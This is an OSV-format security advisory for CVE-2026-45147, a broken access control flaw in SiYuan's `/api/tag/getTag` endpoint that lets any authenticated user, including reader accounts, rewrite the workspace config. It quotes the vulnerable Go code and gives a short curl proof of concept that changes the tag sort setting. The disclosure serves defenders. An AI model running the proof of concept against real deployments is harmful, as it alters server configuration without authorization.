CVE-2026-45147: SiYuan Broken Access Control Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6r88-8v7q-q4p2",
  "modified" : "2026-05-15T23:45:15Z",
  "published" : "2026-05-13T15:32:35Z",
  "aliases" : [ "CVE-2026-45147" ],
  "summary" : "SiYuan: Broken access control in `/api/tag/getTag` — Reader role can mutate `Conf.Tag.Sort` and persist to disk",
  "details" : "### Summary\n\n`POST /api/tag/getTag` is registered with `model.CheckAuth` only, omitting both `model.CheckAdminRole` and `model.CheckReadonly`, despite the handler performing a configuration write that is normally guarded by both. Any authenticated user — including publish-service `RoleReader` accounts and `RoleEditor` accounts on a read-only workspace — can call this endpoint with a `sort` argument to mutate `model.Conf.Tag.Sort` and trigger `model.Conf.Save()`, which atomically rewrites the entire workspace `conf.json`.\n\nSame root-cause class as the patched `GHSA-4j3x-hhg2-fm2x` (which fixed missing `CheckAdminRole + CheckReadonly` on `/api/template/renderSprig`).\n\n### Details\n\n**Affected files / lines (v3.6.5):**\n\n`kernel/api/router.go:170` — only `CheckAuth`:\n\n```go\nginServer.Handle(\"POST\", \"/api/tag/getTag\", model.CheckAuth, getTag)\n// Compare the sibling registrations on the next two lines, which DO gate writes:\nginServer.Handle(\"POST\", \"/api/tag/renameTag\", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renameTag)\nginServer.Handle(\"POST\", \"/api/tag/removeTag\", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, removeTag)\n```\n\n`kernel/api/tag.go:28-64` — handler. The `if nil != arg[\"sort\"]` block writes config without any role check:\n\n```go\nfunc getTag(c *gin.Context) {\n    ret := gulu.Ret.NewResult()\n    defer c.JSON(http.StatusOK, ret)\n    arg, ok := util.JsonArg(c, ret)\n    if !ok { return }\n    ...\n    if nil != arg[\"sort\"] {                    // ← unauthorized write path\n        sortVal, ok := util.ParseJsonArg[float64](\"sort\", arg, ret, true, false)\n        if !ok { return }\n        model.Conf.Tag.Sort = int(sortVal)\n        model.Conf.Save()                      // persists entire conf to <workspace>/conf/conf.json\n    }\n    ...\n}\n```\n\n`Conf.Save()` rewrites the **entire** configuration file, which means a malicious caller racing with a legitimate config change can roll back another user's setting (TOCTOU on the global config object).\n\n### PoC\n\nSame Docker setup as Advisory 1.\n\n```bash\n# 1. Authenticate (any role with CheckAuth pass — admin used here for convenience).\ncurl -s -c /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/loginAuth \\\n  -H 'Content-Type: application/json' -d '{\"authCode\":\"audittest\"}' >/dev/null\n\n# 2. Read current Conf.Tag.Sort.\ncurl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \\\n  -H 'Content-Type: application/json' -d '{}' \\\n  | python3 -c \"import json,sys;print('Conf.Tag.Sort BEFORE =',json.load(sys.stdin)['data']['conf']['tag']['sort'])\"\n# → Conf.Tag.Sort BEFORE = 4\n\n# 3. Mutate via the read-style endpoint.\ncurl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/tag/getTag \\\n  -H 'Content-Type: application/json' -d '{\"sort\": 7}'\n# → {\"code\":0,\"msg\":\"\",\"data\":[]}\n\n# 4. Confirm in-memory.\ncurl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \\\n  -H 'Content-Type: application/json' -d '{}' \\\n  | python3 -c \"import json,sys;print('Conf.Tag.Sort AFTER =',json.load(sys.stdin)['data']['conf']['tag']['sort'])\"\n# → Conf.Tag.Sort AFTER = 7\n\n# 5. Confirm persisted to disk inside the container.\ndocker exec siyuan-audit grep -o 'sort\":[0-9]*' /siyuan/workspace/conf/conf.json\n# → sort\":7\n```\n\nThe vulnerability is exposed to publish-mode `RoleReader` (default for any anonymous publish visitor) and to `RoleEditor` users on workspaces where the administrator has set `Editor.ReadOnly = true`.\n\n### Impact\n\nLimited direct damage — the writable field is only the tag display sort order. The pattern is concerning because:\n\n- It demonstrates the same gap that `GHSA-4j3x-hhg2-fm2x` was meant to flag broadly (missing `CheckAdminRole + CheckReadonly` on a read-style endpoint that performs writes); each occurrence has to be patched individually.\n- `Conf.Save()` rewrites the whole file, so a write-race during a legitimate configuration change can overwrite unrelated user-set values.\n- A publish-service Reader being able to mutate any server state at all violates the intended trust boundary.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/siyuan-note/siyuan/kernel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260512140701-d7b77d945e0d"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-6r88-8v7q-q4p2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45147"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/siyuan-note/siyuan"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-285", "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-13T15:32:35Z",
    "nvd_published_at" : "2026-05-14T19:16:38Z"
  }
}